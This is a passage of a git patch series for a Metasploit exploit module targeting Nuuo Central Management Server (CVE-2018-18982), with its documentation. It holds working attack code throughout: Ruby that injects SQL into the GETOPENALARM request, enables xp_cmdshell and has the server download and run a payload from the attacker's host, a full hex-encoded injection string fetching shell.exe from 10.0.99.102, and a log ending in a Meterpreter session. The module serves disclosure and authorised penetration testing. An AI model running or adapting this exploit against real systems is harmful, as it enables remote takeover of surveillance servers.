From bd3d6ee6bf05e1bcdb050d51ed31c8f4b4644e70 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 21 Jan 2019 17:14:41 +0700 Subject: [PATCH 01/13] Create nuuo_cms_sqli.rb --- .../exploits/windows/nuuo/nuuo_cms_sqli.rb | 152 ++++++++++++++++++ 1 file changed, 152 insertions(+) create mode 100644 modules/exploits/windows/nuuo/nuuo_cms_sqli.rb diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb new file mode 100644 index 0000000000..e242ad7c66 --- /dev/null +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# The following versions were tested: +# - 1.5.2 OK +# - 2.1.0 OK +# - 2.3.2 OK +# - 2.4.0 OK +# - 2.6.0 OK +# - 2.9.0 OK +# - 2.10.0 OK + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::Nuuo + include Msf::Exploit::Remote::HttpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Nuuo Central Management Authenticated SQL Server SQLi", + 'Description' => %q{ + The Nuuo Central Management Server allows an authenticated user to query the state of the alarms. + This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is + installed by default, xp_cmdshell can be enabled and abused to achieve code execution. + This module will either use a provided session number (which can be guessed with an auxiliary + module) or attempt to login using a provided username and password - it will also try the + default credentials if nothing is provided. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'References' => + [ + [ 'CVE', '2018-18982' ], + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ], + [ 'URL', 'FULLDISC_URL_TODO' ], + [ 'URL', 'GITHUB_URL_TODO' ] + + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground + 'Targets' => + [ + [ 'Nuuo Central Management Server <= v2.10.0', {} ], + ], + 'Privileged' => false, # we run as NETWORK_SERVICE + 'DisclosureDate' => "Oct 11 2018", + 'DefaultTarget' => 0)) + register_options( + [ + Opt::RPORT(5180), + OptInt.new('SLEEP', [true, 'How long to wait for the payload download', '15']), + ]) + end + + + def inject_sql(sql, final = false) + sql = ["GETOPENALARM","DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"] + if final + send_msg_async(sql) + else + send_msg(sql) + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + #print_status("on_request_uri called: #{request.inspect}") + if (not @pl) + print_error("#{peer} - A request came in, but the payload wasn't ready yet!") + return + end + print_good("#{peer} - Sending the payload to CMS...") + @exe_sent = true + send_response(cli, @pl) + end + + def create_hex_cmd(cmd) + var = rand_text_alpha(2) + hex_cmd = "declare @#{var} varchar(8000); select @#{var}=0x" + cmd.each_byte { |b| + hex_cmd << b.to_i.to_s(16) + } + hex_cmd << "; exec (@#{var})" + end + + def exploit + login + + if @session == nil + fail_with(Failure::Unknown, "#{peer} - Failed to login to Nuuo CMS") + end + + downfile = rand_text_alpha(8+rand(8)) + @pl = generate_payload_exe + @exe_sent = false + resource_uri = '/' + downfile + + #do not use SSL + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{peer} - Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + + datastore['SSL'] = true if ssl_restore + + # we need to roll our own here instead of using the MSSQL mixins + # (tried that and it doesn't work) + print_status("#{peer} - Enabling xp_cmdshell and asking CMS to download and execute #{service_url}") + filename = rand_text_alpha_lower(rand(8) + 2) + ".exe" + download_pl = %{xp_cmdshell 'cd C:\\windows\\temp\\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "#{service_url}" >> wget.ps1 && echo $file = "#{filename}" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'} + + print_status("#{peer} - Injecting PowerShell payload") + inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl)) + + counter = 0 + while (not @exe_sent || counter >= datastore['SLEEP']) + sleep 1 + counter += 1 + end + + if not @exe_sent + fail_with(Failure::Unknown, "#{peer} - Could not get CMS to download the payload") + end + + print_status("#{peer} - Executing shell...") + inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{filename}\""), true) + handler + end +end From 71e2873cbf1156f9e6d60ab1c15c35c2488c83f0 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 21 Jan 2019 18:00:21 +0700 Subject: [PATCH 02/13] Create nuuo_cms_sqli.md --- .../exploit/windows/nuuo/nuuo_cms_sqli.md | 43 +++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md diff --git a/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md b/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md new file mode 100644 index 0000000000..d2d9e87524 --- /dev/null +++ b/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md @@ -0,0 +1,43 @@ +## Nuuo CMS Authenticated SQL injection + +The GETOPENALARM verb is used to obtain information about alarms stored in the CMS Server database. An example request is below: + +GETOPENALARM NUCM/1.0 +DeviceID: +SourceServer: +LastOne: + +The vulnerability is in the "SourceServer" parameter, which allows injection of arbitrary SQL characters, and can be abused to inject SQL into the executing statement. For example the following request: + +GETOPENALARM NUCM/1.0 +DeviceID: 1 +SourceServer: ';drop table bobby;-- +LastOne: 3 + +Will cause the following SQL query to be executed on the server: +SELECT AlarmNo, EventType, DeviceID, Channel, EventDesc, DateTime, PreviewImage, SourceServer, AlarmID, State, Priority, Owner, HistoryNo, PosTransaction, AlarmNote, AlarmType FROM AlarmLog WHERE DeviceID=1 AND SourceServer='';drop table bobby;-- ' AND State<20 order by DateTime DESC + +Given that SQL Server 2005 Express is used by default (see vulnerability #2), this can be abused to enable xp_cmdshell and achieve remote code execution. + +As as example, here is a full working exploit that downloads a reverse shell from http://10.0.99.102/shell.exe and executes it: +';exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; declare @q varchar(8000); select @q=0x78705f636d647368656c6c2027636420433a5c77696e646f77735c74656d705c202626206563686f202473746f726167654469723d24707764203e20776765742e707331202626206563686f2024776562636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e576562436c69656e74203e3e20776765742e707331202626206563686f202475726c203d2022687474703a2f2f31302e302e39392e3130322f7368656c6c2e65786522203e3e20776765742e707331202626206563686f202466696c65203d20227368656c6c2e65786522203e3e20776765742e707331202626206563686f2024776562636c69656e742e446f776e6c6f616446696c65282475726c2c2466696c6529203e3e20776765742e70733120262620706f7765727368656c6c2e657865202d457865637574696f6e506f6c69637920427970617373202d4e6f4c6f676f202d4e6f6e496e746572616374697665202d4e6f50726f66696c65202d46696c6520776765742e70733120262620636d64202f6320433a5c77696e646f77735c74656d705c7368656c6c2e65786527; exec (@q);-- + +The encoded part of the exploit is the following: +xp_cmdshell 'cd C:\windows\temp\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "http://10.0.99.102/shell.exe" >> wget.ps1 && echo $file = "shell.exe" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 && cmd /c C:\windows\temp\shell.exe' + +# The following versions were tested: +# - 1.5.2 OK +# - 2.1.0 OK +# - 2.3.2 OK +# - 2.4.0 OK +# - 2.6.0 OK +# - 2.9.0 OK +# - 2.10.0 OK + +This module works in the following way: +- if a SESSION number is present, uses that to login +- if not, tries to authenticate with USERNAME and PASSWORD + +## References +https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02 +https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt From 156e7c46598206d1d19bd3ec2d86ee9d73d07770 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Mon, 21 Jan 2019 18:11:51 +0700 Subject: [PATCH 03/13] Update nuuo_cms_sqli.md --- .../exploit/windows/nuuo/nuuo_cms_sqli.md | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md b/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md index d2d9e87524..69994eda15 100644 --- a/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md +++ b/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md @@ -25,14 +25,14 @@ As as example, here is a full working exploit that downloads a reverse shell fro The encoded part of the exploit is the following: xp_cmdshell 'cd C:\windows\temp\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "http://10.0.99.102/shell.exe" >> wget.ps1 && echo $file = "shell.exe" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 && cmd /c C:\windows\temp\shell.exe' -# The following versions were tested: -# - 1.5.2 OK -# - 2.1.0 OK -# - 2.3.2 OK -# - 2.4.0 OK -# - 2.6.0 OK -# - 2.9.0 OK -# - 2.10.0 OK +## The following versions were tested: + - 1.5.2 OK + - 2.1.0 OK + - 2.3.2 OK + - 2.4.0 OK + - 2.6.0 OK + - 2.9.0 OK + - 2.10.0 OK This module works in the following way: - if a SESSION number is present, uses that to login From 688ee3d579f7f4b6da1d4f7e7bd66e02088cadcc Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 22 Jan 2019 11:43:33 +0700 Subject: [PATCH 04/13] Remove tested versions since that is already on the docs --- modules/exploits/windows/nuuo/nuuo_cms_sqli.rb | 9 --------- 1 file changed, 9 deletions(-) diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb index e242ad7c66..16c453dfd7 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -3,15 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -# The following versions were tested: -# - 1.5.2 OK -# - 2.1.0 OK -# - 2.3.2 OK -# - 2.4.0 OK -# - 2.6.0 OK -# - 2.9.0 OK -# - 2.10.0 OK - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking From da4bd2e9b81a9393077e5b4ca94f6d026263785b Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 22 Jan 2019 12:10:45 +0700 Subject: [PATCH 05/13] Remove peer --- modules/exploits/windows/nuuo/nuuo_cms_sqli.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb index 16c453dfd7..474ca78c34 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -65,10 +65,10 @@ class MetasploitModule < Msf::Exploit::Remote def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) - print_error("#{peer} - A request came in, but the payload wasn't ready yet!") + print_error("A request came in, but the payload wasn't ready yet!") return end - print_good("#{peer} - Sending the payload to CMS...") + print_good("Sending the payload to CMS...") @exe_sent = true send_response(cli, @pl) end @@ -86,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote login if @session == nil - fail_with(Failure::Unknown, "#{peer} - Failed to login to Nuuo CMS") + fail_with(Failure::Unknown, "Failed to login to Nuuo CMS") end downfile = rand_text_alpha(8+rand(8)) @@ -107,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Remote end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{peer} - Starting up our web service on #{service_url} ...") + print_status("Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) @@ -119,11 +119,11 @@ class MetasploitModule < Msf::Exploit::Remote # we need to roll our own here instead of using the MSSQL mixins # (tried that and it doesn't work) - print_status("#{peer} - Enabling xp_cmdshell and asking CMS to download and execute #{service_url}") + print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}") filename = rand_text_alpha_lower(rand(8) + 2) + ".exe" download_pl = %{xp_cmdshell 'cd C:\\windows\\temp\\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "#{service_url}" >> wget.ps1 && echo $file = "#{filename}" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'} - print_status("#{peer} - Injecting PowerShell payload") + print_status("Injecting PowerShell payload") inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl)) counter = 0 @@ -133,10 +133,10 @@ class MetasploitModule < Msf::Exploit::Remote end if not @exe_sent - fail_with(Failure::Unknown, "#{peer} - Could not get CMS to download the payload") + fail_with(Failure::Unknown, "Could not get CMS to download the payload") end - print_status("#{peer} - Executing shell...") + print_status("Executing shell...") inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{filename}\""), true) handler end From f336f41182fd3eacada25ae84ae991cd2cb63964 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 22 Jan 2019 12:50:02 +0700 Subject: [PATCH 06/13] Update nuuo_cms_sqli.rb --- modules/exploits/windows/nuuo/nuuo_cms_sqli.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb index 474ca78c34..9c129d1ba7 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -55,9 +55,9 @@ class MetasploitModule < Msf::Exploit::Remote def inject_sql(sql, final = false) sql = ["GETOPENALARM","DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"] if final - send_msg_async(sql) + nucs_send_msg_async(sql) else - send_msg(sql) + nucs_send_msg(sql) end end @@ -83,9 +83,9 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - login + nucs_login - if @session == nil + if @nucs_session == nil fail_with(Failure::Unknown, "Failed to login to Nuuo CMS") end From f4aaf6c816087c333e8f8f2b05fd853438e01ae4 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 22 Jan 2019 19:14:52 +0700 Subject: [PATCH 07/13] Add https to msf link --- modules/exploits/windows/nuuo/nuuo_cms_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb index 9c129d1ba7..7d8b7e1161 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From f5afe981117470196b7e793023f938931a531d37 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 24 Jan 2019 22:01:02 +0700 Subject: [PATCH 08/13] Add github and full disc URL --- modules/exploits/windows/nuuo/nuuo_cms_sqli.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb index 7d8b7e1161..98410750a8 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -30,8 +30,8 @@ class MetasploitModule < Msf::Exploit::Remote [ [ 'CVE', '2018-18982' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ], - [ 'URL', 'FULLDISC_URL_TODO' ], - [ 'URL', 'GITHUB_URL_TODO' ] + [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ] ], 'Platform' => 'win', From 73048edd9704f72075c7b848c3c756a97b7e3ec0 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 19 Feb 2019 06:20:37 -0600 Subject: [PATCH 09/13] Minor updates exploit:nuuo_cms_sqli --- .../exploits/windows/nuuo/nuuo_cms_sqli.rb | 47 +++++++++---------- 1 file changed, 22 insertions(+), 25 deletions(-) diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb index 98410750a8..f91d4c7c9c 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Nuuo Central Management Authenticated SQL Server SQLi", + 'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi', 'Description' => %q{ The Nuuo Central Management Server allows an authenticated user to query the state of the alarms. This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'Nuuo Central Management Server <= v2.10.0', {} ], ], 'Privileged' => false, # we run as NETWORK_SERVICE - 'DisclosureDate' => "Oct 11 2018", + 'DisclosureDate' => 'Oct 11 2018', 'DefaultTarget' => 0)) register_options( [ @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote def inject_sql(sql, final = false) - sql = ["GETOPENALARM","DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"] + sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"] if final nucs_send_msg_async(sql) else @@ -63,12 +63,11 @@ class MetasploitModule < Msf::Exploit::Remote # Handle incoming requests from the server def on_request_uri(cli, request) - #print_status("on_request_uri called: #{request.inspect}") - if (not @pl) + unless @pl print_error("A request came in, but the payload wasn't ready yet!") return end - print_good("Sending the payload to CMS...") + print_good('Sending the payload to CMS...') @exe_sent = true send_response(cli, @pl) end @@ -85,14 +84,13 @@ class MetasploitModule < Msf::Exploit::Remote def exploit nucs_login - if @nucs_session == nil - fail_with(Failure::Unknown, "Failed to login to Nuuo CMS") + unless @nucs_session + fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS') end - downfile = rand_text_alpha(8+rand(8)) @pl = generate_payload_exe @exe_sent = false - resource_uri = '/' + downfile + resource_uri = "/#{rand_text_alpha(8..16)}" #do not use SSL if datastore['SSL'] @@ -100,13 +98,7 @@ class MetasploitModule < Msf::Exploit::Remote datastore['SSL'] = false end - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] - end - - service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + service_url = "http://#{srvhost_addr}:#{srvport}#{resource_uri}" print_status("Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| @@ -120,24 +112,29 @@ class MetasploitModule < Msf::Exploit::Remote # we need to roll our own here instead of using the MSSQL mixins # (tried that and it doesn't work) print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}") - filename = rand_text_alpha_lower(rand(8) + 2) + ".exe" - download_pl = %{xp_cmdshell 'cd C:\\windows\\temp\\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "#{service_url}" >> wget.ps1 && echo $file = "#{filename}" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'} + filename = "#{rand_text_alpha_lower(8..10)}.exe" + download_pl = %{xp_cmdshell } + download_pl << %{'cd C:\\windows\\temp\\ && } + download_pl << %{echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && } + download_pl << %{echo $url = "#{service_url}" >> wget.ps1 && } + download_pl << %{echo $file = "#{filename}" >> wget.ps1 && } + download_pl << %{echo $webclient.DownloadFile($url,$file) >> wget.ps1 && } + download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'} - print_status("Injecting PowerShell payload") + print_status('Injecting PowerShell payload') inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl)) counter = 0 while (not @exe_sent || counter >= datastore['SLEEP']) - sleep 1 + Rex.sleep(1) counter += 1 end - if not @exe_sent - fail_with(Failure::Unknown, "Could not get CMS to download the payload") + unless @exe_sent + fail_with(Failure::Unknown, 'Could not get CMS to download the payload') end - print_status("Executing shell...") + print_status('Executing shell...') inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{filename}\""), true) - handler end end From 2e28ffeeb7cd61e5b52b715a831acc6052ec4441 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Tue, 19 Feb 2019 12:30:39 -0600 Subject: [PATCH 10/13] Doc update --- .../exploit/windows/nuuo/nuuo_cms_sqli.md | 62 +++++++++++++++++-- 1 file changed, 56 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md b/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md index 69994eda15..95860248e6 100644 --- a/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md +++ b/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md @@ -1,18 +1,24 @@ -## Nuuo CMS Authenticated SQL injection +## Description + +Nuuo CMS Authenticated SQL injection The GETOPENALARM verb is used to obtain information about alarms stored in the CMS Server database. An example request is below: +``` GETOPENALARM NUCM/1.0 DeviceID: SourceServer: LastOne: +``` The vulnerability is in the "SourceServer" parameter, which allows injection of arbitrary SQL characters, and can be abused to inject SQL into the executing statement. For example the following request: +``` GETOPENALARM NUCM/1.0 DeviceID: 1 SourceServer: ';drop table bobby;-- LastOne: 3 +``` Will cause the following SQL query to be executed on the server: SELECT AlarmNo, EventType, DeviceID, Channel, EventDesc, DateTime, PreviewImage, SourceServer, AlarmID, State, Priority, Owner, HistoryNo, PosTransaction, AlarmNote, AlarmType FROM AlarmLog WHERE DeviceID=1 AND SourceServer='';drop table bobby;-- ' AND State<20 order by DateTime DESC @@ -20,12 +26,23 @@ SELECT AlarmNo, EventType, DeviceID, Channel, EventDesc, DateTime, PreviewImage, Given that SQL Server 2005 Express is used by default (see vulnerability #2), this can be abused to enable xp_cmdshell and achieve remote code execution. As as example, here is a full working exploit that downloads a reverse shell from http://10.0.99.102/shell.exe and executes it: + +``` ';exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; declare @q varchar(8000); select @q=0x78705f636d647368656c6c2027636420433a5c77696e646f77735c74656d705c202626206563686f202473746f726167654469723d24707764203e20776765742e707331202626206563686f2024776562636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e576562436c69656e74203e3e20776765742e707331202626206563686f202475726c203d2022687474703a2f2f31302e302e39392e3130322f7368656c6c2e65786522203e3e20776765742e707331202626206563686f202466696c65203d20227368656c6c2e65786522203e3e20776765742e707331202626206563686f2024776562636c69656e742e446f776e6c6f616446696c65282475726c2c2466696c6529203e3e20776765742e70733120262620706f7765727368656c6c2e657865202d457865637574696f6e506f6c69637920427970617373202d4e6f4c6f676f202d4e6f6e496e746572616374697665202d4e6f50726f66696c65202d46696c6520776765742e70733120262620636d64202f6320433a5c77696e646f77735c74656d705c7368656c6c2e65786527; exec (@q);-- +``` The encoded part of the exploit is the following: -xp_cmdshell 'cd C:\windows\temp\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "http://10.0.99.102/shell.exe" >> wget.ps1 && echo $file = "shell.exe" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 && cmd /c C:\windows\temp\shell.exe' -## The following versions were tested: +``` +xp_cmdshell 'cd C:\windows\temp\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "http://10.0.99.102/shell.exe" >> wget.ps1 && echo $file = "shell.exe" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 && cmd /c C:\windows\temp\shell.exe' +``` + +## Vulnerable Application + +[NUUO Central Management Server (CMS): all versions below 3.1](http://d1.nuuo.com/NUUO/CMS/) + +The following versions were tested: + - 1.5.2 OK - 2.1.0 OK - 2.3.2 OK @@ -34,10 +51,43 @@ xp_cmdshell 'cd C:\windows\temp\ && echo $storageDir=$pwd > wget.ps1 && echo $we - 2.9.0 OK - 2.10.0 OK -This module works in the following way: -- if a SESSION number is present, uses that to login -- if not, tries to authenticate with USERNAME and PASSWORD +## Scenarios + +### Tested on Windows 10 Pro x64 running NCS Server 2.4.0 + +``` +msf5 exploit(windows/nuuo/nuuo_cms_sqli) > set rhosts 172.22.222.200 +rhosts => 172.22.222.200 +msf5 exploit(windows/nuuo/nuuo_cms_sqli) > set srvhost 172.22.222.136 +srvhost => 172.22.222.136 +msf5 exploit(windows/nuuo/nuuo_cms_sqli) > exploit + +[*] Started reverse TCP handler on 172.22.222.136:4444 +[*] 172.22.222.200:5180 - Starting up our web service on http://172.22.222.136:8080/YxAxhLwOUeKzH ... +[*] 172.22.222.200:5180 - Using URL: http://172.22.222.136:8080/YxAxhLwOUeKzH +[*] 172.22.222.200:5180 - Enabling xp_cmdshell and asking CMS to download and execute http://172.22.222.136:8080/YxAxhLwOUeKzH +[*] 172.22.222.200:5180 - Injecting PowerShell payload +[+] 172.22.222.200:5180 - Sending the payload to CMS... +[*] 172.22.222.200:5180 - Executing shell... +[*] Sending stage (179779 bytes) to 172.22.222.200 +[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.200:49681) at 2019-02-19 06:15:35 -0600 +[*] 172.22.222.200:5180 - Server stopped. + +meterpreter > getuid +Server username: NT Service\MSSQLSERVER +meterpreter > sysinfo +Computer : DESKTOP-IPOGIJR +OS : Windows 10 (Build 17763). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > +``` ## References + https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02 + https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt From 4a4637d7a3d517b3e68091fd3a746e405b3586dc Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Wed, 20 Feb 2019 12:12:48 -0600 Subject: [PATCH 11/13] Move execute shell --- .../exploits/windows/nuuo/nuuo_cms_sqli.rb | 28 ++++--------------- 1 file changed, 6 insertions(+), 22 deletions(-) diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb index f91d4c7c9c..22229fc2b1 100644 --- a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -44,11 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => false, # we run as NETWORK_SERVICE 'DisclosureDate' => 'Oct 11 2018', 'DefaultTarget' => 0)) - register_options( - [ - Opt::RPORT(5180), - OptInt.new('SLEEP', [true, 'How long to wait for the payload download', '15']), - ]) + register_options [Opt::RPORT(5180)] end @@ -68,8 +64,10 @@ class MetasploitModule < Msf::Exploit::Remote return end print_good('Sending the payload to CMS...') - @exe_sent = true send_response(cli, @pl) + + print_status('Executing shell...') + inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true) end def create_hex_cmd(cmd) @@ -89,7 +87,6 @@ class MetasploitModule < Msf::Exploit::Remote end @pl = generate_payload_exe - @exe_sent = false 